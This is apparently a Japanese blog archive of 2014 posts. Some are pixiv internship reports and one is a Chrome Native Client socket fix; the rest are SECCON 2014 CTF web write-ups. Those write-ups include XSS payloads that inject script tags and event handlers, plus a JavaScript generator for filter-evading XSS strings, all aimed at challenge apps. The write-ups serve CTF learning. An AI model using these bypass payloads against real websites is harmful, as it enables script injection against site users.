pixiv の冬インターンに参加してきました
pixiv が冬インターンをやるみたいでしたが、夏インターンに参加した僕には縁のない話だろうと思っていました。そうしたらなんと
@nash_fs 来ないんですか https://t.co/2fVM1MX9gI
— ラーメン (@catatsuy) November 10, 2014
インターン倍プッシュ歓迎なので来ましょう!!!
— ラーメン (@catatsuy) November 10, 2014
とのことで応募したら受かりまして、12/20, 21にインターンしてきました。
何をするインターンなのか
ピクシブ開発メンバーが日々立ち向かっているbugリストの課題を読み解き、本物のソースコードに修正を加えて解決していただきます。
ピクシブを支えるエンジニアたちと全く同じ目線で、リアルな課題を解決します。
from エンジニア向け pixiv開発のbugリストからの脱出!エンジニア職インターン - ピクシブ株式会社 採用サイト
という脱出系インターンです。
環境構築
集合した後軽く書類関連の説明を受け、さっそく環境構築に移りました。
この辺のスピーディさのおかげでバグフィックス時間が増えて、非常に良かったと思います。
今回の環境構築は夏の時と比べて圧倒的に楽ちんで、スムーズに構築できました。
開発体制
GitHub に pixiv のソースコードがプライベートリポジトリとして用意されており、各自 fork したうえで開発サーバ上に clone、そのソースコードに対して修正を加えていきました。
Issues にたくさんのバグが登録されており、直したいバグを直感で選びます。
修正が終わったら本流に Pull Request を送り、メンターの方に LGTM をもらえると PR に「脱出!」タグがつき*1、脱出することができます。
脱出!
脱出すると、場合によってはそのコードを本番環境に適用してもらえます。
自分たちが書いたコードが千ウン百万人のユーザーの方に使ってもらえると思うと俄然脱出欲が湧いてきます。
実際に僕が書いたものもいくつか適用していただけるようで、非常に楽しみです。
食事
1日目の昼はピザ、2日目の昼はKFCでした。
— BASH (@bash0C7) December 21, 2014
Web 系って感じでおいしいかったです。ありがとうございます。
予想外だったところ
応募するときはメンターの方とペアプロみたいな感じでバグフィックスするのかなぁと思っていましたが、実際は個人戦でした*2。
もちろんメンターの方は見てるだけではなく、聞けば何でも教えてくれますし、「忙しいから話しかけるな」的な雰囲気も全くなく話しかけやすかったです。
旧社屋ツアー
今の社屋に脱出する前に使っていた旧社屋を見せてもらいました。
大量のベニヤ板サーバがありました(僕らが今回使ったのはベニヤ板サーバの中でもスペシャルなやつらしいです)。空調の設定は24度でした。
ASCII の記事の画像よりパワーアップしてる印象でした。
絵馬
夏
コピックのなんか筆っぽいほうに翻弄された夏
冬
集合
多少コピックのコツをつかめた気がします。
総括
期間が短いこともあり何もかも爆速で、本来の目的であるバグフィックスの時間を長く取れて非常に楽しかったです。
もっとメンターの方を頼ればよかったなぁと今になって思います(割と自分で考え込んでしまうことが多かったけどメンターの方に聞くとたいていすぐ解決する)。
こんなにいいインターンを僕なんかがおかわりしてるのはもったいないので、ぜひぜひ皆さん pixiv のインターンに応募してみることをオススメします!!
Let's 脱出!!!!!
#SECCON 2014 Online Quals (English) - Writeup (jspuzzle)
チーム 0x0 として参加しました。
Web要員として Web100, Web200, Web500 を解きましたので jspuzzle (Web100) の Writeup をば。
(Web300 はメンバーに投げて、Web400 は僕が寝落ちしてる間にメンバーが解いてくれました。Web400、難しい問題だったらしく、頭が上がりません。)
一応最速正解だったようで、Bonus Point (1pt) 貰いました。今回はこのポイントで順位が変動することはありませんでしたが…。
Web500 の Writeup: #SECCON 2014 Online Quals (English) - Writeup (XSS Bonsai) - 雑記
Web200 の Writeup: どうしよう
結論
てめぇの長ったらしい説明なんていらないから答えを見せろ用
解説
こんなアプリが入った zip が配布されます。
歴史のテストのような語句の選択当てはめ問題ですね。alert(1)
を出力できればいいようです。
とりあえず目を付けるところとしては、
this[ r[ "hoge" ]( pattern ) ][ "fuga" ]( 1 );
でしょうか。ここで alert(1)
を呼んでいるのは明らかなので、
this[ r[ "hoge" ]( pattern ) ][ "fuga" ]
こいつは alert()
なはずです。ということで、fuga
には alert
が当てはまることが分かります。
また同様に this[ r[ "hoge" ]( pattern ) ]
は alert()
があるオブジェクト、つまり window
が入ることが分かります。
ということで this
の中に何かを代入している箇所を探すと、
this[ "unko" ] = (new Function( "piyo" + "chun" + "nya~" ))();
があります。つまり、
"unko" == r[ "hoge" ]( pattern )
と
(new Function("piyo" + "chun" + "nya~"))() == window
を満たすように語句を当てはめればよいことが分かります。
まず Function
の中身ですが、これは
return window;
のようなコードになればよいはずです。
return
は候補にあります。window
は候補にありませんが、この Function
の実行時には this
は window
になるので this
を使います。
return
と window
の間のスペースは /*^_^*/
で代用します。ということで Function
完成です。
new Function( "return" + "/*^_^*/" + "this" )
次は unko
です。
"unko" == r[ "hoge" ]( pattern )
を満たすように語句を当てはめます。
var pattern = "wan"; var r = new RegExp( pattern ); this[ r[ "hoge" ]( pattern ) ] ...
上のコードからわかるように、hoge
は正規表現関連のメソッドの名前です。
ということで exec
が当てはまります。整理すると
"unko" == /wan/.exec( "wan" )
です。wan
の候補はたくさんありますが、とりあえず正規表現のパターンっぽい ^[w]$
を選びます。
すると /^[w]$/.exec( "^[w]$" )
は null
なので、unko
は null
であることが分かります。
ここまで来たら後は少しです。
({"weiwei" :function(){ // ここはできた }})[ "uhyoooo"[ "kokekokko~" ]() ]();
なので、"weiwei" == "uhyoooo"[ "kokekokko~" ]()
となるように当てはめればOKです。
残った選択肢を見れば閃くと思いますが、weiwei
は function
、uhyoooo
は Function
、kokekokko~
は toLowerCase
です。
"use strict"; ({"function" :function(){ this[ "null" ] = (new Function( "return" + "/*^_^*/" + "this" ))(); var pattern = "^[w]$"; var r = new RegExp( pattern ); this[ r[ "exec" ]( pattern ) ][ "alert" ]( 1 ); }})[ "Function"[ "toLowerCase" ]() ]();
お疲れ様でした。
補足
"null" != null
ですが、
var obj = { null: 1 }; console.log( obj[ "null" ] == obj[ null ] ); // true
ということを言いたかっただけなのでご勘弁ください。
#SECCON 2014 Online Quals (English) - Writeup (XSS Bonsai)
チーム 0x0 として参加しました。
Web要員として Web100, Web200, Web500 を解きましたので XSS Bonsai (Web500) の Writeup をば。
(Web300 はメンバーに投げて、Web400 は僕が寝落ちしてる間にメンバーが解いてくれました。Web400、難しい問題だったらしく、頭が上がりません。)
Web100 の Writeup: #SECCON 2014 Online Quals (English) - Writeup (jspuzzle) - 雑記
Web200 の Writeup: どうしよう
本編
毎度おなじみ箱庭シリーズ。(そろそろほかの問題もやりたいなぁ…)
毎回めっちゃ時間取られてますが、今回も時間を持っていかれました。高得点問題だし当たり前か。
ちなみに前回の Writeup はこちら。
前回と同じように IE のバージョンを変えてやろうかなと思ったのですが、レジストリをいじっても全く変わらず。
これは素直に解けということだろうなと解釈して素直に解きました。
先人の知恵を使わせてもらいつつ、以下のコードで突破しました。
Special Thanks to 先人
pixiv のインターンに参加してきました
pixiv SUMMER BOOT CAMP -2014- にエンジニアとして参加してきました。
2週間という短い期間でしたが、非常に楽しく過ごさせていただきました。
あんまりだらだら書くのも性に合わないし、そもそも日が経ってしまって今更感が漂ってしまいそうなので今のうちに投下しておきます。
やったこと1
最初の2日間は総合職・デザイナー職とごちゃまぜでチームを組み、グロースに関する課題をやりました。
総合職の人でも「JavaScript 書けます」とか、エンジニア・デザイナー顔負けのことをやってる方が多く、「これが"総合"職か…」と思い知らされました。
やったこと2
そのあとはエンジニア個別で課題に取り組みました。
pixiv 本体のソースコードを触って機能拡張をするもよし、新規サービスを立ち上げるもよし、なんでもよし、という感じで、のびのびと課題に取り組むことができました。
僕は pixiv に Twitter 連携機能を追加したり、ポップボード・メッセージの通知を行う Chrome 拡張機能を作りました。
PHP と JS をゴリゴリかけて楽しかったです。
作業環境
注)僕が撮った写真ではありませんしインターン期間中の写真でもありません
ちゃんとインターン生にはデスクが割り当てられていたのですが、なぜか上の写真の場所にわらわらと集まり作業することが多かったです。
あと、フリードリンク&フリーみそしるで、ここにいれば塩分と糖分には困らないなと思いました。
ボキャブラリー
エンジニアというものは往々にしてボキャ貧に陥るもので、pixiv も例外ではありませんでした。
はてなインターンでは「やばい」「わいわい」「いい感じ」「最高じゃん」が主なキーワードだったようですが、pixiv は「つらい」「厳しい」「いい話」「なるほど」でした。
最終日
成果発表では「よい」をいただくことができて嬉しかったです。
成果発表会の後、pixiv 社内勉強会に飛び入って CSP の布教をしてきました。
そのあと、pixiv 7周年記念パーティーで「CSP!CSP!」とエンジニアの皆さんと叫んだことは忘れません。
知見集
2014/09/16編集:公式エンジニアブログにより詳しいまとめが出ました!ありがとうございます!
pixiv SUMMER BOOTCAMP 2014のエンジニア講義スライドを一挙公開します!! - pixiv engineering blog
エンジニア・デザイナーのインターン向けに社員の方にしていただいた講義スライドへのリンクです(公開しているものだけ(全講義の半分くらいです。全部面白かったです。全部見たい方は pixiv インターンへ応募!))。
1. ピクシブ新広告サーバー構築物語 // Speaker Deck
2. ピクシブのAndroidアプリ事情 // Speaker Deck
3. pixivアプリの設計思想 なぜアプリを作るのか 良いアプリとは何か // Speaker Deck
4. pixiv-summer-intern2014 // Speaker Deck
5. Growing Service // Speaker Deck
6. pixivを支える技術 2014 // Speaker Deck
最後に
pixiv の皆さんありがとうございました!
この記事を見た方、めっちゃ楽しいのでぜひぜひ pixiv インターンに応募しましょう!
pixiv の p は小文字です!!!!!!!!
絵馬
絵馬を書きました。コピック使うの難しい!特になんか筆っぽいやつ!
Native Client (NaCl) の socket API でハマった
Native Client SDK の socket のサンプルが動かないんだけどなんでだろう…。ほかのサンプルは動くんだけど…。
— ɥsɐu (@nash_fs) 2014, 8月 26
ということで socket のサンプルが動かなかった。
エラーコードは -7 で、pp_errors.h
を見ると
/** This value indicates failure due to insufficient privileges. */ PP_ERROR_NOACCESS = -7,
とのことだったので、何か設定が足りないみたいだった。
あらかじめ chrome://flags
で enable-nacl
, allow-nacl-socket-api
にチェックを入れておいたのでそんなことはないだろうと思ってたが、実はこれがまずかったらしい。
allow-nacl-socket-api
を外して起動オプションで --allow-nacl-socket-api=localhost
を指定したところ動いた。
ちなみに Chrome のバージョンはこの記事を書いている時点(2014/08/27)での Canary Build です。
参考文献:ドンピシャな StackOverflow javascript - Portable native client Permission denied when resolving host - Stack Overflow
SECCON 2014 オンライン予選「箱庭XSSリターンズ」Writeup
SECCON 2014 オンライン予選にチーム 0x0 として参加しました。以下 Web300 の箱庭 XSS リターンズの Writeup です。
試行錯誤した時間のほうが長かったので、そちらの手順も載せておきます。
問題
次のようなアプリが配布されます。
テキストボックスに入力して submit すると、input[type=text]
に入力した値が入ったものが出力されます。
(ほぼ)何もエスケープされずに出力される、典型的な XSS パターンです。
解き方
ダメだった方法1
まずは定石通り、
"><script>alert('XSS')</script>
と入力しました。普通に alert が表示され、Stage 2 に進むことができました。
Stage 2 では、入力された値から script
, alert
, XSS
が strip されると書いてあったので、
"/onmouseover="window['aler'+'t']('XS'+'S')">
と入力し、こちらも無事成功して Stage 3 へ進めました。
Stage 3 では、入力された値から script
, alert
, XSS
, window
, aler
, t
, XS
, S
が strip されるそうです。
お気づきでしょうか、XSS に成功しても input_value.match(/[0-9a-zA-Z]+/)
が次のステージから strip されるようです。
プログレスバーを見るにステージは 20 以上ありそうだったので、このまま頑張る方式では最終的には使える文字がなくなってしまいそうです。
ということで、別の手段を探しました。
ダメだった方法2
試行錯誤してるうちに Unicode エスケープシーケンスが使えることを思い出したので、
"/onmousemove="window['\u0061lert']('\u0058SS')
としました。こうすると次回から strip されるのは onmouseover
, window
, u0061lert
, u0058SS
となり、だいぶ余裕ができます。
しばらくエスケープシーケンスに置き換える場所を変えたりしてゴリ押していましたが、こちらも結局 Stage 6 あたりで苦しくなりやめました。
行けた方法
次に、(0x0).constructor.construtor
で Function が取れることを思い出したので、こちらをごにょごにょする方法を考えました。
また試行錯誤していると、@superbacker さんから、次のコードが動かないとメッセージが飛んできました。
"/onkeydown="(99995)['\u0063onstructor']['\u0063onstructor']('BBBBBBBBBBBBBBBBBBBa'[19]+'BBBBBBBBBBBBBBBBBBBl'[19]+'BBBBBBBBBBBBBBBBBBBe'[19]+'BBBBBBBBBBBBBBBBBBBr'[19]+'BBBBBBBBBBBBBBBBBBBt'[19]+'BBBBBBBBBBBBBBBBBBB('[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBBX'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBB)'[19])()
確かに箱庭の WebControl ではなく IE で実行すると動きます。
これを動かすことができれば、次回から strip されるのは BBBBBBBBBBBBBBBBBBBa
とか 19
とか 99995
とかで、どうでもいい上にいくらでも代わりが効くものばかりで非常に助かります。
そういえば JavaScript で
var str = 'AAA';
console.log(str[0]); // 'A'
ってできる(ちゃんとした名前知らない)のは最近だった(気がする)ので、たぶんこのあたりが悪さしてるんだろうと予想しました。
そういえば、Windows アプリに張り付けられる WebControl は IE7 互換で、レジストリいじるとそのバージョンを変えられた記憶があったので調べたところ、ドンピシャでした。
IE11 互換の動作をしてもらうために、レジストリに次のエントリを追加します。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION
に
hakoniwaXSSreturns.exe: (DWORD)0x11001
そして、入力するコードをいちいち人力で生成するのはめんどうくさいので、コードを書きました。
var repeat = 40;
var char = 64;
var num = 10000;
function generate(handlerName) {
char++; repeat--; num--;
var ret = '"/' + handlerName + '=\'(' + num + ')';
var snip1 = 'constructor';
var constructor = '';
for (var i = 0; i < snip1.length; i++) {
var a = '"';
for (var j = 0; j < repeat; j++) {
a += String.fromCharCode(char);
}
a += snip1[i];
a += '"[' + repeat + ']';
constructor += a + '+';
}
constructor = constructor.substring(0, constructor.length - 1);
ret += '[' + constructor + ']';
ret += '[' + constructor + '](';
var snip2 = 'alert("XSS")';
for (var i = 0; i < snip2.length; i++) {
var a = '"';
for (var j = 0; j < repeat; j++) {
a += String.fromCharCode(char);
}
if (snip2[i] == '"') a += '\\';
a += snip2[i];
a += '"[' + repeat + ']';
ret += a + '+';
}
ret = ret.substring(0, ret.length - 1);
ret += ')()\'';
return ret;
}
console.log(generate('onclick'));
console.log(generate('ondblclick'));
console.log(generate('onkeydown'));
console.log(generate('onkeypress'));
console.log(generate('onmousedown'));
console.log(generate('onmouseup'));
console.log(generate('onmouseover'));
console.log(generate('onmouseout'));
console.log(generate('onmousemove'));
console.log(generate('onfocus'));
console.log(generate('onblur'));
console.log(generate('onchange'));
console.log(generate('ondragstart'));
console.log(generate('onselectstart'));
console.log(generate('ondrop'));
console.log(generate('oncontextmenu'));
console.log(generate('ondragend'));
console.log(generate('onpaste'));
console.log(generate('oncopy'));
console.log(generate('onbeforepaste'));
console.log(generate('onbeforecopy'));
出力されたものをひたすらコピペして、イベントハンドラに対応した操作をすればどんどん解けます。
ちなみに最後(Stage 20)だけ \
と &
が追加で strip されたので、今まで温存していた
"><script>alert('XSS')</script>
を華麗に打ち込みおしまいです。お疲れ様でした。
おまけ
SECCON 2014 オンライン予選「練習問題」 Writeup
0x0 としてオンライン予選に参加しました。
以下に練習問題の Writeup を記します。
1.「練習問題」をクリックします。
2.「exercises.txt」をクリックします。
3.「FLAG{seccon2014}」と表示されます。
答えは「seccon2014」です!お疲れ様でした!
私はこうして解答1番乗りすることができました。
ほかに解き方があったら教えてください。